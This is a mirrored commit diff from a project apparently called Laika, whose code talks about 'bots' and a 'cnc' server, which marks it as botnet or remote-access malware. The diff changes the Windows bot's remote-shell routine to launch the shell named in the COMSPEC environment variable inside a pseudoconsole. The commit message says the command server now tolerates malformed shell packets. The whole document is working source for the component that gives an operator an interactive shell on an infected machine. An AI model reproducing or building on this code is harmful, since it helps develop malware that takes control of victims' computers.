mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-28 04:40:08 +00:00
Windows: use COMSPEC environment variable to grab the shell
- shells on windows are now opened from the COMSPEC env variable - cnc will now ignore malformed shell packets from bots instead of killing them
This commit is contained in:
@@ -80,7 +80,7 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
|
||||
HRESULT hr;
|
||||
LPCTSTR cmd = TEXT("cmd.exe");
|
||||
TCHAR szComspec[MAX_PATH];
|
||||
struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
|
||||
|
||||
ZeroMemory(shell, sizeof(struct sLaika_shell));
|
||||
@@ -92,6 +92,12 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* get user's shell path */
|
||||
if (GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) == 0) {
|
||||
laikaM_free(shell);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* create process */
|
||||
hr = InitializeStartupInfoAttachedToPseudoConsole(&shell->startupInfo, shell->pseudoCon);
|
||||
if (hr != S_OK) {
|
||||
@@ -104,7 +110,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows)
|
||||
/* launch cmd shell */
|
||||
hr = CreateProcess(
|
||||
NULL, /* No module name - use Command Line */
|
||||
cmd, /* Command Line */
|
||||
szComspec, /* Command Line */
|
||||
NULL, /* Process handle not inheritable */
|
||||
NULL, /* Thread handle not inheritable */
|
||||
FALSE, /* Inherit handles */
|
||||
|
Reference in New Issue
Block a user